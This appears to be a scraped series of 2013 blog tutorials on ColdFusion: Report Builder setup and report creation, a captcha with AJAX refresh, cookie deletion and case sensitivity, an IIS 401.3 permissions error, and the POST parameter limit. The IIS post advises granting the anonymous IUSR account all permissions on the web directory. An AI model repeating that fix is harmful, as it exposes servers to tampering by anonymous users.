Go with “Report Creation Wizard” and click on “OK”.

You will see a next screen like below:

Click on “Query Builder” button.

Then we will see a new Query Builder screen for our report.

As shown in the picture, you can see all the available data sources and also you can write your own customize SQL query in the mentioned section. There is button “Test Query”. You can also test the query output by clicking that button. If your query has any problem then it will display error message.

After writing your SQL query just click on “Save” button.

Then you will see another screen like below:

Here, you can select query columns which you want to in printable report.By using right side "Up" and "Down" arrow you can place column in a defined order. For now just forget it and click on “Next”.

· We will see another screen as below:

Here, you can define any order by fields in your report. Let say I want to see first all arts which is not yet sold. By using the extreme right Up and Down arrow you can define the direction of the order by clause. Here, I want to see all sold items first so I made as descending order. It depends on your choice.

Click on “Next” to go to next screen.

· Here is our next screen:

Just select the option as you see in screen and then click on “Next”. You will see another screen after that then click on “Next”.

· You will see the next screen like below:

Here, in the text fields you have to put some descriptive name about your report. See the label and put the description text accordingly then click on “Finish”.

· After, all these set up finally you see some different window like below:

In this screen we can customize our report header text and we can also format the display text in report.

Let’s see how we can do that:

First click on #1: A new window will pop up like below

Here, I have used ColdFusion DateFormat() to formatting the displaying date.

Click on #2: A new pop up window will be displayed:

Here, I just changed column header from “ISSOLD” to “Sold”. So similarly we can change all the column header with some descriptive name.

Click on #3: A new pop up window will appear like below:

Here, we just used another ColdFusion function for display formatting of a field value. Similarly, you can apply your own logic on other fields if you want.

I have changed the column header and added display formatting function for header and cell values. Finally we will have the following screen:

Here, field names are changed and we can also see the display formatting function in applied area then click on preview button to see the preview of the report. Then save the report. It will generate a “.cfr” file.

Next, how we will use generated template in our ColdFusion code. Go here...

Server Set up in ColdFusion 10 Report Builder

noreply@blogger.com (Unknown) — Sun, 10 Nov 2013 19:06:00 +0000

When we first run Report Builder then we will see screen for server set up otherwise by clicking on

File - > New, we will see a screen like below.

Here we have to select "Server Setup Wizard" as highlighted then click "OK" it will take you to the server set up screen(as shown below).

Click "Next" in above screen then you will see another screen as shown below.

In this screen, you can see "Measurement Units" drop down. It shows different scale, you have to select one which you want to use in your report. Then click "Next". You will see another screen like below.

In above screen, we have to provide server details to which want to connect.

Description: Any Name for identifying that server.
Host Name: IP/Server Name
Port: Port no on which your coldfusion is running. For me it's 8500
Use SSL check box, content Root, RDS Security(User Name), if it is required for you.
Password: Provide RDS password which you have set up in ColdFusion Admin.

After all these values click on "Test Connection" to see if you are able to connect to server or not. Then you will see a screen like below.

Here everything is fine for me. If you are facing any problem please check again the values you are providing and also check whether RDS is allowed in the target server and if the server is running or not. Then close the screen and click on "OK" button. You will see below screen.

Here in above screen you can see in CF Server label "CF10 Local" is selected which we just set up. Also, you can see two other fields,

Local Webroot: Web root of the server which you have selected.
Website Webroot: Exact URL root to browse any file on that server.

You can follow the instructions and the example I am showing you for reference. Then Click on "Next" button, you will see a screen like below.

So, all your set up is done just click on "Finish" to complete the process or "Previsous" to change anything.

We have linked a server to the Report Builder then what's next???

Let's try a simple report template with Report Builder here. Go here....

Starting With ColdFusion Report Builder

noreply@blogger.com (Unknown) — Sun, 10 Nov 2013 19:01:00 +0000

I think most of you have heard something about report builder in different tools like SQL server report building tool and other report building tools for different languages.

In ColdFusion, we also have a report building tool called “ColdFusion Report Builder”. So, lets explore about it.

What is a Report Building ?

Report building means to represent some information in graphical way ex:- different kinds of chart or tabular format.

I will cover basic things of ColdFusion Report building. I have divided the report building topic into following sections:

1. Installing ColdFusion 10 Report Builder.

2. Set up Server in Report Builder.
3. Creating a Sample Report Template.
4. Use ColdFusion Report Template in ColdFusion

1. Installing ColdFusion 10 Report Builder:

- You can download ColdFusion 10 Report Builder from following URL:

http://www.adobe.com/support/coldfusion/downloads.html#cf10devtools

- Double click on the exe file and follow the instructions to install.

- In Windows 8/Windows 2012 server you may see following error message:

Installer user interface mode not supported

Please follow below mentioned steps to avoid this error.

- Right click on the installer then you will see a screen like below.

- Select “Troubleshoot Compatibility” then you will see a trouble detecting screen and after few seconds you will see following screen.

- From the above screen select “Try recommended settings”. Then you will see following next screen.

In above screen you have to click on “Test the program” then it will be installed successfully.

Next, after installation set up server in Report Builder. Go here to know details....

Creating a Random Captcha with refresh Option

noreply@blogger.com (Unknown) — Thu, 31 Oct 2013 13:09:00 +0000

We all know that creating captcha is not a tough job in ColdFusion. But, one newbie in ColdFsion just asked me to help in creating a random captcha for his application.

I thought to share with others.

I have divided the entire code into three parts.

captcha.cfm - Page where we will display the captcha image.
Util.cfc - It contains a user defined function "generateRandomText" to generate random captcha text.
refreshCaptcha.cfm - Page which will handle AJAX call while refreshing captcha image.

Lets see the "captcha.cfm" below:

Here, in above code I have used "ImageCreateCaptcha" function, which is added in ColdFusion 10 for captcha generation.

Lets see the "Util.cfc"

In this file, I have written a function called "generateRandomText" for generating captcha string. Logic is very simple, you can modify it according to your requirement.

Next, come to "refreshCaptcha.cfm":

We are making AJAX call to this file which again generates random captcha image and sends to browser for display.

So, this is whole story for generating and refreshing captcha image in ColdFusion!!!

You do not have permission to view this directory or page because of the access control list (ACL) configuration or encryption settings for this resource on the Web server.

noreply@blogger.com (Unknown) — Tue, 29 Oct 2013 18:46:00 +0000

Today, I was setting up a new sample project in my machine and I just got some unexpected error message for loading .CSS and .txt files but my ColdFusion file .cfm was loading fine.

The error message was:

HTTP Error 401.3 - Unauthorized

You do not have permission to view this directory or page because of the access control list (ACL) configuration or encryption settings for this resource on the Web server.

After little Googling I got the solution but most of the solutions are not described very well. So, thought to share it again.
***NOTE: This issue may come for other types of files like: JS, ColdFusion or ASP files.

What is the solution for this issue?

Go to the directory where you have placed your web application files. EX: For my application it's: C:\Users\Upendra Roul\Documents\GitHub
Right Click on that directory then go to properties -> Securtity(Tab). You will see a image like below.

Click on "Edit" button of the above image, you will see a next window like below:

Click on "Add" button as marked in the above picture then you will see a screen like below:

Click on "Advanced" button as highlighted in the above picture, then you will see a screen like below:

Here, in the above picture first you have to click on "Find Now" then you will see list of users in "Search result" section below as shown in the above picture. Next, select the highlighted user "IUSR" then click on "OK" button. Then you will see a screen like below:

If you mark in the above screen, IUSR is selected in the user selection box then click on "OK" button. Then you will see a screen like below:

The above screen is the final set up screen. Here, first select "IUSR" from "Group or user names" then allow all permission for that user by selecting the check boxes in the highlighted section. Then click on "Apply" then Click on "OK". After that for all other screens just Click on "OK".

After all these set up refresh your web page you will see all resources are loading perfectly.

Hope it will save your time!!!

structDelete & CFCOOKIE for Delete Cookie in ColdFusion

noreply@blogger.com (Unknown) — Sat, 26 Oct 2013 19:25:00 +0000

Previously, I had a misconception that we can only delete a cookie from ColdFusion by using CFCOOKIE tag only. But, during experimenting with ColdFusion cookie, I just got to know that even using function "structDelete" we can alos delete a cookie.

Let's see how exactly:

I had written the above CF code to test.

- When first I run this page, I see two cookie variables - CFID and CFTOKEN. You can see the image below.

- Next time, I run the same code with "setx = 1" in URL. It just created a new cookie variable "X", with expiration date as one month ahead. You can see the image below.

- Next, I run the same code again without any url parameter. So, it will go for delete section. As we have not passed any url variable "delByTag", so it will go for "structDelete" section and in result you can see the cookie dump.
- Refresh the page again, you will see the target cookie is deleted. As shown below.

Question: What exactly ColdFusion does to delete a cookie from browser?

- Set the cookie "X" by following the above steps.
- Pass url parameter "delByTag = 1" and run the page, you can see the cookie "X" is empty in seond dump after refreshing the page you will see no cookie "X" in dump. If we will notice the HTTP request for cookie delete then we will find the following screen shot.

- As you can see, the HHTP response contains command to broser from ColdFusion to delete the cookie. That's why the browser removes the cookie.

If you again set the cookie and for delete don't use "delByTag = 1", so it will use struct delete and in that case if we will see the HTTP response as shown below. Here, we will see the a same thing in resopnse to delete the cookie.

The difference I found, by using cfcookie we can set a past date in the expiry field but "structDelte" will always use the current date for that operation. You can debug more by looking into the HTTP request/response.

Happy Coding!!!

Case Sensitive Issue With Cookie In ColdFusion

noreply@blogger.com (Unknown) — Thu, 24 Oct 2013 18:54:00 +0000

Scenario: Few days back one of my colleague was working on a shopping cart project. Where they were setting some cookie by using JavaScript (client side ) and then trying to delete that cookie from server side.

Issue: After deleting the cookie each time it was assigning an empty string to that cookie but that cookie was present in cookie scope and in next request it was coming again.

To show the exact situation I wrote following piece of ColdFusion code:

First time, I run the code without any cookie I got following output.

As we see there is only two cookie in ColdFusion dump and also in Firebug( i.e, - CFID and CFTOKEN)

Then, I run following piece of JS code to set a cookie with name 'x'

document.cookie = 'x=test; expires=Fri, 25 Oct 2013 20:47:11 GMT; path=/';

CASE - 1:

Next, I run the ColdFusion code and I got following result:

First Line of ColdFusion code it just dumps cookie scope, where we can see our cookie in lower case with value “test”.
Next line, if cookie “x” exists then, show message “Inside if” and delete that cookie by setting expiry date as now and value empty string(“”).
Else show message “Inside Else”.
Dump cookie scope.

I run the same page multiple times I got same results, means my cookie is not getting deleted. If you notice the first cookie dump shows “x” in lower case and next cookie dump shows in upper case.

CASE - 2:

In second test case I cleared all my cookies and again run the following JS code to set the cookie.

document.cookie = 'X=test; expires=Fri, 25 Oct 2013 20:47:11 GMT; path=/';

Here, if you notice I have set cookie name in upper case. Then I run the ColdFusion code and I got the following result:

Here, if you will notice cookie name is in upper case in both the dump and in Fire bug cookie “X” is not available. Then, I refreshed the page and I got following result:

Ahhh. My cookie got deleted, means our target achieved.

Question: What was the problem in previous case why we were

unable to delete that when it was in lower case?

Explanation:

· ColdFusion is case insensitive, means if we name variable name as “x” and “X” both are same for ColdFusion.

· JavaScript is case sensitive, means variable “x” and “X” are different.

Code Explanation:

· When our first if clause checks whether “x” exists in cookie or not it always find it as ColdFusion case in sensitive but when it sets to delete the code cookie “X”, we got following in HTTP response header:

· Here, ColdFusion send command to browser to delete cookie with name “X” by setting the expiry date as now.

· Browser set the cookie “X” with expiry date as current time but the old cookie (“x”) is not affected by that activity.

· In second dump ColdFusion overwrites “x” value by “X”, in server side only. But, cookie stored in client side, when we refresh the page “X” is deleted (as we set the expiry date as current time) and “x” is available. So, it again displays “x”.

· When we set cookie name in upper case(X) by JavaScript, then ColdFusion can able to delete that value as I have already explained that how.

****NOTE:

When setting cookie from client side be aware of the case sensitivity.

Post Parameters Exceeds Maximum Limit

noreply@blogger.com (Unknown) — Sat, 12 Oct 2013 11:52:00 +0000

In sometime I was making a “POST” AJAX request to server and it was working fine but latter I had to add few new form elements and then I made the POST AJAX call. Suddenly I got the error:

HTTP Error 500.0 - Internal Server Error

The page cannot be displayed because an internal server error has occurred.

I was using ColdFusion – 9 with IIS. After few searching I found that the problem is with no of form parameters present in the “POST” request. By default ColdFusion provides a default form element limit as “100”. If the no of parameter will exceed to that then we will get error message.

I run the same code in ColdFusion – 10 with Apache and I got the following error message:
POST parameters exceeds the maximum limit.

Then the question arises:

– Will I get the same error for “GET” request?

– How can I increase the limit in ColdFusion?

Will I get the same error for “GET” request?

No, for “GET” request you will not get such error . “GET” request depends on the URL length. I mean when you make any “GET” request all parameters are appended to the base URL and they pass in URL scope. Each browser have some limit to length of the URL it can process, if the URL length in “GET” request will exceed to that then you may get some error message or some unwanted result.

How can I increase the limit in ColdFusion?

In ColdFusion – 9:

First install the security fix( http://helpx.adobe.com/coldfusion/kb/coldfusion-security-hotfix.html ) for ColdFusion - 9.

Go to {ColdFusion-Home}/lib for Server Installation

{ColdFusion-Home}/WEB-INF/cfusion/lib for Multiserver or J2EE installation.

Open file neo-runtime.xml, after the line.

add the below line and you can change the number 100 to your desired limit.

In ColdFusion – 10:

Adobe has added an option in ColdFusion Admin to control the number of form elements. Go to

“Settings”, you will see a screen like below:

You can change the highlighted section value from “100” to your desired form element limit.

NOTE: After doing all these you will see if you have provided “100” limit then you are able to pass only “99” form elements in post request I.e. 1 element less than the limit. Because when do any form post ColdFusion automatically added a field called “FIELDNAMES”.